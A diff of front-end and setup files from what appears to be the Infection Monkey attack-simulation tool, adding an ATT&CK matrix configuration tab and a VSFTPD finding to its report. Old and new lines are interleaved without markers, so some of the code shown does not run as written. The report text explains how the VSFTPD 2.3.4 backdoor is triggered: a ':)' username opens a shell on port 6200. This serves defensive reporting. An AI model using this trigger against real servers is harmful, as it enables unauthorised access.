"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
this.initialConfig = {};
this.initialAttackConfig = {};
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchemas = ConfigurePageComponent.getUiSchemas();
// set schema from server
this.state = {
schema: {},
configuration: {},
attackConfig: {},
lastAction: 'none',
sections: [],
selectedSection: 'basic',
selectedSection: 'attack',
allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
PBAlinuxFile: [],
showAttackAlert: false
};
}
componentDidMount() {
this.authFetch('/api/configuration/island')
.then(res => res.json())
.then(res => {
static getUiSchemas(){
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
monkey: {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
},
cnc: {},
network: {},
exploits: {},
internal: {}
})
}
setInitialConfig(config) {
// Sets a reference to know if config was changed
this.initialConfig = JSON.parse(JSON.stringify(config));
}
setInitialAttackConfig(attackConfig) {
// Sets a reference to know if attack config was changed
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
}
componentDidMount = () => {
let urls = [CONFIG_URL, ATTACK_URL];
Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
.then(data => {
let sections = [];
let attackConfig = data[1];
let monkeyConfig = data[0];
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title});
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
}
this.setState({
schema: res.schema,
configuration: res.configuration,
schema: monkeyConfig.schema,
configuration: monkeyConfig.configuration,
attackConfig: attackConfig.configuration,
sections: sections,
selectedSection: 'basic'
selectedSection: 'attack'
})
});
this.updateMonkeysRunning();
}
};
onSubmit = ({formData}) => {
this.currentFormData = formData;
this.updateConfigSection();
this.authFetch('/api/configuration/island',
updateConfig = () => {
this.authFetch(CONFIG_URL)
.then(res => res.json())
.then(data => {
this.setInitialConfig(data.configuration);
this.setState({configuration: data.configuration})
})
};
onSubmit = () => {
if (this.state.selectedSection === 'attack'){
this.matrixSubmit()
} else {
this.configSubmit()
}
};
matrixSubmit = () => {
// Submit attack matrix
this.authFetch(ATTACK_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
if (!res.ok)
@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent {
}
return res;
})
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
.then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => {
this.setState({lastAction: 'invalid_configuration'});
});
};
configSubmit = () => {
// Submit monkey configuration
this.updateConfigSection();
this.sendConfig()
.then(res => res.json())
.then(res => {
this.setState({
@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
}).catch(error => {
console.log('bad configuration');
@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent {
});
};
// Alters attack configuration when user toggles technique
attackTechniqueChange = (technique, value, mapped=false) => {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
if(techType[1].properties.hasOwnProperty(technique)){
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
if (! mapped ){
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
this.attackTechniqueChange(otherTech[0], value, true)
}
})
});
}
}
});
};
onChange = ({formData}) => {
this.currentFormData = formData;
};
@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent {
newConfig[this.currentSection] = this.currentFormData;
this.currentFormData = {};
}
this.setState({configuration: newConfig});
this.setState({configuration: newConfig, lastAction: 'none'});
};
renderAttackAlertModal = () => {
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
<Modal.Body>
<h2><div className="text-center">Warning</div></h2>
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
You have unsubmitted changes. Submit them before proceeding.
</p>
<div className="text-center">
<button type="button"
className="btn btn-success btn-lg"
style={{margin: '5px'}}
onClick={() => {this.setState({showAttackAlert: false})}} >
Cancel
</button>
</div>
</Modal.Body>
</Modal>)
};
userChangedConfig(){
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
if(Object.keys(this.currentFormData).length === 0 ||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
return false;
}
}
return true;
}
userChangedMatrix(){
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
}
setSelectedSection = (key) => {
if ((key === 'attack' && this.userChangedConfig()) ||
(this.currentSection === 'attack' && this.userChangedMatrix())){
this.setState({showAttackAlert: true});
return;
}
this.updateConfigSection();
this.currentSection = key;
this.setState({
@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent {
resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island',
this.authFetch(CONFIG_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
this.authFetch(ATTACK_URL,{ method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify('reset_attack_matrix')})
.then(res => res.json())
.then(res => {
this.setState({attackConfig: res.configuration});
this.setInitialAttackConfig(res.configuration);
})
};
removePBAfiles(){
@ -162,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
configuration: JSON.parse(event.target.result),
selectedSection: 'basic',
lastAction: 'import_success'
});
}, () => {this.sendConfig()});
this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
@ -175,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
};
sendConfig() {
return (
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
};
importConfig = (event) => {
let reader = new FileReader();
reader.onload = this.onReadFile;
@ -251,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
}
static getFullPBAfile(filename){
let pbaFile = [{
return [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
@ -271,39 +429,29 @@ class ConfigurePageComponent extends AuthComponent {
return pbaFile
}
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1>
<Nav bsStyle="tabs" justified
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
style={{'marginBottom': '2em'}}>
{this.state.sections.map(section =>
<NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>
)}
</Nav>
{
this.state.selectedSection === 'basic_network' ?
<div className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
according to its range class.
</div>
: <div />
}
{ this.state.selectedSection ?
<Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit}
onChange={this.onChange}
noValidate={true}>
<div>
renderMatrix = () => {
return (<MatrixComponent configuration={this.state.attackConfig}
submit={this.componentDidMount}
reset={this.resetConfig}
change={this.attackTechniqueChange}/>)
};
renderConfigContent = (displayedSchema) => {
return (<div>
{this.renderBasicNetworkWarning()}
<Form schema={displayedSchema}
uiSchema={this.uiSchemas[this.state.selectedSection]}
formData={this.state.configuration[this.state.selectedSection]}
onChange={this.onChange}
noValidate={true} >
<button type="submit" className={"hidden"}>Submit</button>
</Form>
</div> )
};
renderRunningMonkeysWarning = () => {
return (<div>
{ this.state.allMonkeysAreDead ?
'' :
<div className="alert alert-warning">
@ -312,17 +460,57 @@ class ConfigurePageComponent extends AuthComponent {
infections.
</div>
}
<div className="text-center">
<button type="submit" className="btn btn-success btn-lg" style={{margin: '5px'}}>
Submit
</button>
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
Reset to defaults
</button>
</div>
</div>
</Form>
: ''}
</div>)
};
renderBasicNetworkWarning = () => {
if (this.state.selectedSection === 'basic_network'){
return (<div className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
according to its range class.
</div>)
} else {
return (<div />)
}
};
renderNav = () => {
return (<Nav bsStyle="tabs" justified
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
style={{'marginBottom': '2em'}}>
{this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)}
</Nav>)
};
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
let content = '';
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
content = this.renderMatrix()
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
<Col xs={12} lg={8}>
{this.renderAttackAlertModal()}
<h1 className="page-title">Monkey Configuration</h1>
{this.renderNav()}
{ this.renderRunningMonkeysWarning()}
{ content }
<div className="text-center">
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
Submit
</button>
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
Reset to defaults
</button>
</div>
<div className="text-center">
<button onClick={() => document.getElementById('uploadInputInternal').click()}
className="btn btn-info btn-lg" style={{margin: '5px'}}>
@ -355,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
{ this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated.
An invalid configuration file was imported or submitted.
</div>
: ''}
{ this.state.lastAction === 'import_success' ?

View File

@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent {
WEBLOGIC: 9,
HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
MSSQL: 12,
VSFTPD: 13
};
Warning =
@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length > 0 ?
<div>
During this simulated attack the Monkey uncovered <span
During this simulated attack the Monkey uncovered <span
className="label label-warning">
{this.state.report.overview.issues.filter(function (x) {
return x === true;
}).length} threats</span>:
<ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
<li>Elasticsearch servers are vulnerable to <a
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
</li> : null}
{this.state.report.overview.issues[this.Issue.VSFTPD] ?
<li>VSFTPD is vulnerable to <a
href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>.
</li> : null}
{this.state.report.overview.issues[this.Issue.SAMBACRY] ?
<li>Samba servers are vulnerable to SambaCry (<a
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
@ -422,6 +427,7 @@ class ReportPageComponent extends AuthComponent {
);
}
generateReportGlanceSection() {
let exploitPercentage =
(100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length;
@ -681,6 +687,28 @@ class ReportPageComponent extends AuthComponent {
);
}
generateVsftpdBackdoorIssue(issue) {
return (
<li>
Update your VSFTPD server to the latest version vsftpd-3.0.3.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span
className="label label-danger">6200</span>.
<br/>
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
<br/><br/>
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
<br/><br/>Read more about the security issue and remediation <a
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateElasticIssue(issue) {
return (
<li>
@ -896,6 +924,9 @@ generateMSSQLIssue(issue) {
generateIssue = (issue) => {
let data;
switch (issue.type) {
case 'vsftp':
data = this.generateVsftpdBackdoorIssue(issue);
break;
case 'smb_password':
data = this.generateSmbPasswordIssue(issue);
break;

View File

@ -0,0 +1,46 @@
import React from 'react';
import {Icon} from 'react-fa';
class VersionComponent extends React.Component {
constructor(props) {
super(props);
this.state = {
currentVersion: undefined,
newerVersion: undefined,
downloadLink: undefined
}
}
componentDidMount() {
fetch('/api/version-update') // This is not authenticated on purpose
.then(res => res.json())
.then(res => {
this.setState({
currentVersion: res['current_version'],
newerVersion: res['newer_version'],
downloadLink: res['download_link'],
});
});
}
render() {
return (
<div className="version-text text-center">
Infection Monkey Version: {this.state.currentVersion}
{
this.state.newerVersion ?
<div>
<b>Newer version available!</b>
<br/>
<b><a target="_blank" href={this.state.downloadLink}>Download here <Icon name="download"/></a></b>
</div>
:
undefined
}
</div>
);
}
}
export default VersionComponent;

View File

@ -0,0 +1,73 @@
import '../../styles/Checkbox.scss'
import React from 'react';
class CheckboxComponent extends React.PureComponent {
componentDidUpdate(prevProps) {
if (this.props.checked !== prevProps.checked) {
this.setState({checked: this.props.checked});
}
}
/*
Parent component can pass a name and a changeHandler (function) for this component in props.
changeHandler(name, checked) function will be called with these parameters:
this.props.name (the name of this component) and
this.state.checked (boolean indicating if this component is checked or not)
*/
constructor(props) {
super(props);
this.state = {
checked: this.props.checked,
necessary: this.props.necessary,
isAnimating: false
};
this.toggleChecked = this.toggleChecked.bind(this);
this.stopAnimation = this.stopAnimation.bind(this);
this.composeStateClasses = this.composeStateClasses.bind(this);
}
//Toggles component.
toggleChecked() {
if (this.state.isAnimating) {return false;}
this.setState({
checked: !this.state.checked,
isAnimating: true,
}, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
}
// Stops ping animation on checkbox after click
stopAnimation() {
this.setState({ isAnimating: false })
}
// Creates class string for component
composeStateClasses(core) {
let result = core;
if (this.state.necessary){
return result + ' blocked'
}
if (this.state.checked) { result += ' is-checked'; }
else { result += ' is-unchecked' }
if (this.state.isAnimating) { result += ' do-ping'; }
return result;
}
render() {
const cl = this.composeStateClasses('ui-checkbox-btn');
return (
<div
className={ cl }
onClick={ this.state.necessary ? void(0) : this.toggleChecked}>
<input className="ui ui-checkbox"
type="checkbox" value={this.state.checked}
name={this.props.name}/>
<label className="text">{ this.props.children }</label>
<div className="ui-btn-ping" onTransitionEnd={this.stopAnimation}></div>
</div>
)
}
}
export default CheckboxComponent;

View File

@ -186,6 +186,10 @@ body {
.nav-tabs > li > a {
height: 63px
}
.nav > li > a:focus {
background-color: transparent !important;
}
/*
* Run Monkey Page
*/
@ -515,3 +519,23 @@ body {
}
}
/* Attack config page */
.attack-matrix .messages {
margin-bottom: 30px;
}
.attack-legend {
text-align: center;
margin-bottom: 20px;
}
.version-text {
font-size: 0.9em;
position: absolute;
bottom: 5px;
left: 0;
right: 0;
margin-left: auto;
margin-right: auto;
}

View File

@ -0,0 +1,105 @@
// colors
$light-grey: #EAF4F4;
$medium-grey: #7B9EA8;
$dark-green: #007d02;
$green: #44CF6C;
$black: #000000;
.ui-checkbox-btn {
position: relative;
display: inline-block;
background-color: rgba(red, .6);
text-align: center;
width: 100%;
height: 100%;
input { display: none; }
.icon,
.text {
display: inline-block;
color: inherit;
}
.text {
padding-top: 4px;
font-size: 14px;
}
// color states
&.is-unchecked {
background-color: transparent;
color: $black;
fill: $black;
}
&.blocked {
background-color: $dark-green;
color: $light-grey;
fill: $light-grey;
}
&.is-checked {
background-color: $green;
color: white;
fill: white;
}
}
.icon {
position: relative;
display: inline-block;
svg {
position: absolute;
top: 0; right: 0; bottom: 0; left: 0;
margin: auto;
width: 16px;
height: auto;
fill: inherit;
}
.is-checked & {
color: white;
fill: white;
}
}
// ping animation magic
.ui-btn-ping {
position: absolute;
top: 50%;
left: 50%;
width: 100%;
transform: translate3d(-50%, -50%, 0); // center center by default
// set the square
&:before {
content: '';
transform: scale(0, 0); // center center by default
transition-property: background-color transform;
transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1);
display: block;
padding-bottom: 100%;
border-radius: 50%;
background-color: rgba(white, .84);;
}
.do-ping &:before {
transform: scale(2.5, 2.5);
transition-duration: .35s;
background-color: rgba(white, .08);
}
}
.icon-checked{
color:$green
}
.icon-mandatory{
color:$dark-green
}
.icon-unchecked{
color:$black;
}

View File

@ -0,0 +1,8 @@
$background: #000000;
$font: #fff;
.react-tooltip-lite {
background: $background;
color: $font;
max-width: 400px !important;
}

View File

@ -18,6 +18,14 @@ module.exports = {
'css-loader'
]
},
{
test: /\.scss$/,
use: [
'style-loader',
'css-loader',
'sass-loader'
]
},
{
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
use: {

View File

@ -3,19 +3,19 @@
export os_version_monkey=$(cat /etc/issue)
MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb
if [[ $os_version_monkey == "Ubuntu 16.04"* ]] ;
if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ;
then
echo Detected Ubuntu 16.04
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz"
elif [[ $os_version_monkey == "Ubuntu 18.04"* ]] ;
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
then
echo Detected Ubuntu 18.04
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
elif [[ $os_version_monkey == "Debian GNU/Linux 8"* ]] ;
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
then
echo Detected Debian 8
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz"
elif [[ $os_version_monkey == "Debian GNU/Linux 9"* ]] ;
elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ;
then
echo Detected Debian 9
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz"
@ -25,15 +25,15 @@ else
fi
TEMP_MONGO=$(mktemp -d)
pushd $TEMP_MONGO
wget $tgz_url -O mongodb.tgz
pushd ${TEMP_MONGO}
wget ${tgz_url} -O mongodb.tgz
tar -xf mongodb.tgz
popd
mkdir -p $MONGODB_DIR/bin
cp $TEMP_MONGO/mongodb-*/bin/mongod $MONGODB_DIR/bin/mongod
cp $TEMP_MONGO/mongodb-*/LICENSE-Community.txt $MONGODB_DIR/
chmod a+x $MONGODB_DIR/bin/mongod
rm -r $TEMP_MONGO
mkdir -p ${MONGODB_DIR}/bin
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
chmod a+x ${MONGODB_DIR}/bin/mongod
rm -r ${TEMP_MONGO}
exit 0

View File

@ -65,12 +65,8 @@ How to run:
4. Setup MongoDB (Use one of the two following options):
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin)
4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb'
This will download and extract the relevant mongoDB for your OS.
OR
4.b. Use already running instance of mongodb
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server

View File

@ -1,3 +1,4 @@
bson
python-dateutil
tornado==5.1.1
werkzeug
@ -18,9 +19,9 @@ boto3
botocore
PyInstaller
awscli
bson
cffi
virtualenv
wheel
mongoengine
mongomock
requests

View File

@ -1,3 +1,3 @@
REM - Runs MongoDB Server -
@title MongoDB
@bin\mongodb\mongod.exe --dbpath db
@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1